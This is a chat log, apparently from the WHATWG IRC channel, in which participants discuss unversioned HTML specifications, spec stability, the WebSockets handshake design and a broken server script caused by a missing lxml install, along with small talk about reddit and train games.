| 22:57 | <jgraham> | realityking: If something is labelled as a "standard" but only one browser has full support, you still need caniuse.com to find out what you can safely use |
| 22:57 | <realityking> | paul_irish: is the best idea I've learned thus far and of course will also be required with stable documents every couple of years (because that won't mean that every browser has implemented something) |
| 22:57 | <annevk> | ment, I think we have only added things that are either useful or need to be implemented to support the web |
| 22:57 | <jcranmer> | the point is that "natural" evolution is not world-shatteringly different |
| 22:57 | <realityking> | the bad thing is that is usually requires javascript |
| 22:58 | <jgraham> | If all browsers have support for things that didn't make the standard, you still need caniuse.com to tell you what you can really use |
| 22:58 | <annevk> | ment, but of course opinions differ on "useful" |
| 22:58 | <jcranmer> | it's not like what is today a "computer" is tomorrow "shalgut" |
| 22:58 | <annevk> | ment, but if you think certain features should be taken out you should certainly say so |
| 22:58 | <jcranmer> | similarly, I expect HTML to evolve like that |
| 22:58 | <jcranmer> | gradual changes over time |
| 22:58 | <jgraham> | Getting all browsers to support exactly one version of a standard in common is not a stable equlibrium |
| 22:59 | <realityking> | jgraham: true, that's why it is the least worst alternative, but at least I wouldn't have to fear things change in the spec |
| 22:59 | <jgraham> | Or indeed an equlibrium at all |
| 22:59 | <jcranmer> | a primary goal of HTML is to specify what *browsers already do* |
| 22:59 | <jgraham> | realityking: The spec would still change |
| 22:59 | <ment> | annevk: whatwg sometimes also comes up with own creations ... like the websockets! wtf was that? |
| 22:59 | <realityking> | like I'd rather have a feature becomeing obsolete (or even be removed when possible) than a syntax change |
| 22:59 | <jcranmer> | if browsers do stuff like it works now... it won't change |
| 23:00 | <jgraham> | It's just it would occasionally go through some pointless process of being labelled with a new number |
| 23:00 | <jgraham> | You can't remove feature |
| 23:00 | <jcranmer> | CSS2.1 only removed features because no one implemented them |
| 23:00 | <jgraham> | And you can't really make syntax changes |
| 23:00 | <realityking> | jcranmer: case in point, if I remember correctly the canvas element started out as an empty element |
| 23:00 | <jgraham> | Yeah, if no one implemented a feature it is different |
| 23:00 | <realityking> | now it is not |
| 23:01 | <jcranmer> | so? |
| 23:01 | <annevk> | ment, you don't like WebSockets? |
| 23:01 | <jcranmer> | if you don't know what its contents mean, you ignore them |
| 23:01 | <jgraham> | realityking: Yes, experimental implementations of things are possible and have to change |
| 23:01 | <jgraham> | the trick is to make the changes before content relies on the feature |
| 23:01 | <jcranmer> | if you do know, you can handle that case |
| 23:02 | <jgraham> | after that you lose the early fluidity and things solidify into the long term form whether or not that is a good one |
| 23:02 | <foolip_> | well, the reddit comments were a bit better than slashdot at least |
| 23:02 | <jgraham> | foolip_: Damned by faint praise there |
| 23:02 | <ment> | annevk: well i don't mind the concept, but i don't understand why the hell it has the syntax it has (the worst from http + something that makes it actually incompatible (in most cases) with http) |
| 23:02 | <realityking> | but if I look into the HTML spec, see a cool feature, test it in say Webkit and Firefox and everything works shiny and 1 year later someone decides to change the syntax because the feature hasn't taken off yet? Then I may be screwed |
| 23:03 | <annevk> | ment, maybe you should check that out then ;) |
| 23:03 | <jgraham> | Yep. But you using the feature is it taking off somewhat |
| 23:03 | <jgraham> | Like I say, we try to do per-section markers |
| 23:03 | <annevk> | ment, I mean, I hope you realize we are not clueless and do things for a reason |
| 23:04 | <jgraham> | and two different browser engines with interoperable implentations is usually a pretty good indication that things will remain more or less stable |
| 23:04 | <realityking> | For CSS that isn't to bad, if I use something with a vendor prefix I know that this may change later and I need to be ready to modify it. HTML lacks a mechanism like this. |
| 23:04 | <realityking> | jgraham: per section markers would certainly be helpful |
| 23:05 | <espadrine> | realityking: you can't use the spec as your only documentation. |
| 23:05 | <ment> | annevk: i understand you are not clueless, but on the other hand you might have an impression that you know "what developers want" |
| 23:05 | <espadrine> | You never could. |
| 23:05 | <realityking> | but then you could just take the stable parts every two years and release it as HTMLX |
| 23:05 | <jgraham> | realityking: They exist. The only dfficulty is keeping them up-to-date |
| 23:06 | <realityking> | jgraham: do you mean the small browser icons to the right in the WHATWG version? |
| 23:06 | <annevk> | ment, I typically ask them, whenever I get the chance |
| 23:06 | <realityking> | aeh left |
| 23:06 | <ment> | annevk: ok, why haven't you abolished that ghastly http syntax? |
| 23:07 | <annevk> | ment, and it was actually a developer who came up with most of WebSockets |
| 23:08 | <realityking> | jgraham: overall I'd have a lot less (or even no) issues with this if something like the vendor prefixes were adopted for HTML |
| 23:08 | <annevk> | ment, it is needed to work with existing intermediaries; but the design of the protocol might drastically change |
| 23:08 | <realityking> | I realize that this is hard due to the way HTML is parsed |
| 23:08 | <realityking> | and it isn't easy to use fallbacks |
| 23:08 | <ment> | annevk: so the developer took existing http parser and bent it, right? |
| 23:08 | <annevk> | ment, it is likely to become more complicated due to the IETF |
| 23:08 | <annevk> | ment, no |
| 23:08 | <ment> | annevk: meanwhile the existing intermediaries are going to implement that by bending their own http parsers |
| 23:08 | <realityking> | that way I'd know when using an experimental implementation |
| 23:08 | <annevk> | ment, no they're not |
| 23:09 | <ment> | annevk: of course no-one is going to do it precisely and it will create many security holes along the way |
| 23:09 | <ment> | annevk: yes they are |
| 23:09 | <annevk> | no, because the current protocol is abandoned |
| 23:10 | <ment> | uh, which one? |
| 23:10 | <annevk> | I'm going to sleep |
| 23:10 | <ment> | well, good night |
| 23:11 | <annevk> | g'night |
| 23:15 | <Hixie> | hm, complete/ isn't updating anymore |
| 23:15 | <Hixie> | weird |
| 23:21 | <Hixie> | annevk: something seems broken with kaboom.cgi |
| 23:21 | <Hixie> | annevk: it doesn't seem to be updating from svn anymore or something |
| 23:22 | <Hixie> | annevk: not sure what's up |
| 23:22 | <Hixie> | annevk: doesn't seem to be a problem on my side |
| 23:24 | <annevk> | I should really be sleeping |
| 23:24 | <Hixie> | no worris |
| 23:24 | <Hixie> | it can wait |
| 23:24 | <annevk> | but euh, I don't get any error messages here |
| 23:25 | <annevk> | see pm |
| 23:26 | <Hixie> | some of the arguments against unversioned specs seem to be more strongly arguments against versioning. |
| 23:27 | <Hixie> | e.g. http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/c1dk1oo |
| 23:30 | <SlexAxton> | haha Hixie - rule number one - never read reddit or hacker news if you care about the subject matter |
| 23:30 | <realityking> | The idea is that you hopefully don't find any more errors in a stable spec |
| 23:31 | <realityking> | that isn't always true is of course a valid point |
| 23:31 | <MikeSmith> | I like to read reddit because it reassures me that even as stupid as I am, there are many people out there way stupider than me |
| 23:31 | <realityking> | but having cutting edge features, with little or no implementation experience in the spec certainly doesn't help |
| 23:32 | <Hixie> | i kinda like reddit personally :-) |
| 23:32 | <Hixie> | but whatever :-) |
| 23:32 | <SlexAxton> | oh, im a fan |
| 23:32 | <SlexAxton> | but anytime i release anything, or take part in something |
| 23:32 | <SlexAxton> | i have to ignore the post about it |
| 23:32 | <SlexAxton> | because it makes me rage |
| 23:32 | <SlexAxton> | and i like to keep a pokerface |
| 23:33 | <SlexAxton> | |
| 23:33 | <Hixie> | i just answer as many questions as i can :-) |
| 23:33 | <Hixie> | no need to rage :-) |
| 23:33 | <SlexAxton> | they aren't questions... |
| 23:33 | <SlexAxton> | (i was using reddit terms...) |
| 23:35 | <SlexAxton> | fwiw Hixie, I think it was a splendid move |
| 23:35 | <SlexAxton> | though I thought we already did that with <!DoCTyPe hTmL> |
| 23:35 | <Hixie> | if someone on reddit says something i disagree with, i implicitly treat it as a question of the form "so why am i wrong?" :-P |
| 23:36 | <Hixie> | yeah we basically had dropped versions from the language a while ago |
| 23:36 | <Hixie> | this just drops it from the spec too |
| 23:36 | <SlexAxton> | got it |
| 23:37 | <wilhelm> | I can see where that commenter, and others of similar opinions, are coming from. When wearing the author hat, I frequently use the HTML validator as one of many regression tests on my own work. My code varies, but the validator is assumed to be static. That gives some perceived safety. |
| 23:37 | <wilhelm> | Wearing the browser vendor hat, the issue looks different. (c: |
| 23:38 | <Hixie> | yeah, that's certainly one interpretation, though they often seem to phrase it in terms of browsers specifically |
| 23:38 | <gsnedders> | Waitwhat, wilhelm spoke in here? For the first time in how long? :P |
| 23:38 | <Hixie> | (i covered that the validator issue in the faq) |
| 23:38 | <Hixie> | (iirc) |
| 23:38 | <SlexAxton> | (yrc) |
| 23:39 | <MikeSmith> | yay for visit from wilhelm |
| 23:39 | <MikeSmith> | wilhelm please come back to Tokyo for a visit |
| 23:39 | <annevk> | wilhelm! |
| 23:40 | <wilhelm> | gsnedders: It's been a while, yes. (c: |
| 23:40 | <dglazkov> | Hixie: something to chew on: http://wiki.whatwg.org/wiki/Component_Model_Brainstorming#The_Bladerunner_Strawman |
| 23:40 | <wilhelm> | MikeSmith: I was there most of this autumn! I'll be back again. (c: |
| 23:40 | <gsnedders> | wilhelm: I'm not sure I've seen you in here since you convinced me to apply for Opera :) |
| 23:41 | <Hixie> | wilhelm: dude i still haven't found players for 1856, if you're going anywhere, come here! :-P |
| 23:41 | <SlexAxton> | Hixie: I appreciate the 'sleight of hand' comment about how if you justed willed browsers to support something crazy, they wouldn't. |
| 23:41 | <SlexAxton> | use that one more |
| 23:41 | <Hixie> | heh |
| 23:41 | <Hixie> | yeah, i liked the phrasing on that one |
| 23:41 | <annevk> | so the problem is that there is no lxml installed |
| 23:42 | <annevk> | and installing lxml via pip install or easy_install complains about missing gcc support |
| 23:42 | <Hixie> | SlexAxton: it's basically the same sentiment as the "i don't want to write dry scifi" thing i often say, but i might use this phrasing more |
| 23:42 | <Hixie> | annevk: why did it break? did lxml get uninstalled? |
| 23:43 | <annevk> | yeah, I set up Python in a different way and forgot I had that dependency |
| 23:43 | <wilhelm> | gsnedders: That sounds about right. I haven't been able to participate in much standards work for years, for various reasons. I'm slowly starting to follow the discussions again now. (c: |
| 23:43 | annevk | finds http://gsnedders.com/installing-lxml-on-dreamhost |
| 23:44 | <SlexAxton> | Hixie: yea, maybe add in examples of how half the stuff in html5 was straight out of ie5, etc, and how you just spec'd it. |
| 23:44 | <SlexAxton> | a lot of people don't realize that a lot of the new stuff has been supported for ages |
| 23:44 | <gsnedders> | annevk: heheh. |
| 23:44 | <gsnedders> | annevk: no idea if that's up-to-date or anything |
| 23:44 | <wilhelm> | Hixie: Hah. Same problem on this end. People just don't appreciate how wonderful trains are. |
| 23:44 | <wilhelm> | If a game has trains in it, it's almost certainly good. |
| 23:45 | <Hixie> | wilhelm: probably doesn't help that i always describe it as a terrible game, but man do i want to play it again |
| 23:45 | gsnedders | is curious about this game now |
| 23:45 | <wilhelm> | We should do TTD again too! |
| 23:46 | <Hixie> | sure |
| 23:46 | <Hixie> | let me know a few weeks in advance |
| 23:46 | <Hixie> | i have a big computer at home now so i can actually play games and stuff |
| 23:46 | <wilhelm> | Ooo. |
| 23:46 | <Hixie> | (big as opposed to a laptop) |
| 23:47 | annevk | gives it a try |
